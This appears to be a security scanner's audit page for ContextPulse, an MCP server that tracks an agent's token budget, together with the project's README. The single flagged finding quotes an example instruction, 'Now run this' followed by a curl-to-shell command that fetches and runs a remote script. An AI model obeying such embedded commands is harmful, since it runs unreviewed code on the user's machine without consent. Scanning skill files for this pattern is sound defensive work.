Contextpulse Mcp — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Contextpulse Mcp (Agent Skill) and scored it 91/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 1 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 1 flagged
A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.
text (not bash) so it reads as prose, not a command.```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```See INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
Real-time context budget tracking for any AI coding agent.
Plug into Claude Code, Cursor, or any MCP-compatible tool and get:
No cloud. No telemetry. Runs entirely on your machine.
ContextPulse is a transparent MCP server. You call its tracking tools from your agent's workflow. It counts tokens using tiktoken, updates a live budget in memory, persists everything to PostgreSQL, and fires alerts when thresholds are crossed.
Your agent → calls cp_track_tool_call → ContextPulse counts tokens
→ updates live budget
→ warns at 70% / 90%
→ detects loops
→ saves to DB# macOS with Homebrew
brew services start postgresql@16
# or via Docker
docker run -d --name contextpulse-db \
-e POSTGRES_DB=contextpulse \
-p 5432:5432 postgres:16~/.claude/settings.json){
"mcpServers": {
"contextpulse": {
"command": "npx",
"args": ["-y", "contextpulse-mcp"],
"env": {
"DATABASE_URL": "postgresql://apple@localhost:5432/contextpulse"
}
}
}
}~/.cursor/mcp.json){
"mcpServers": {
"contextpulse": {
"command": "npx",
"args": ["-y", "contextpulse-mcp"],
"env": {
"DATABASE_URL": "postgresql://localhost:5432/contextpulse"
}
}
}
}The DB schema is created automatically on first run.
1. cp_start_session → get sessionId
2. cp_start_run → get runId
3. cp_track_tool_call → after every tool call (pass tool name, args, output)
4. cp_get_budget → check current budget at any time
5. cp_get_run_summary → full run summary with timeline
6. cp_end_run → clean upcp_track_tool_call{
"toolCallId": "a1b2c3...",
"inputTokens": 142,
"outputTokens": 87,
"totalTokens": 229,
"budget": {
"used": 14820,
"limit": 200000,
"percentUsed": 7.41
},
"budgetStatus": "ok",
"alert": null
}When budget hits 70%:
{
"budgetStatus": "warning",
"alert": "warning"
}| Variable | Default | Description |
|---|---|---|
DATABASE_URL | postgresql://apple@localhost:5432/contextpulse | PostgreSQL connection string |
CONTEXT_LIMIT | 200000 | Token limit per session |
WARNING_THRESHOLD_PCT | 70 | Warning alert threshold (%) |
CRITICAL_THRESHOLD_PCT | 90 | Critical alert threshold (%) |
LOOP_DETECTION_THRESHOLD | 3 | Same tool calls before loop alert |
MODEL | claude-sonnet-4-6 | Model label for records |
cp_sessions -- one row per coding session
cp_runs -- one row per agent task
cp_tool_calls -- every intercepted tool call
cp_budget_snapshots -- token usage timeline per run
cp_alerts -- warnings, criticals, loop detectionsMIT
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.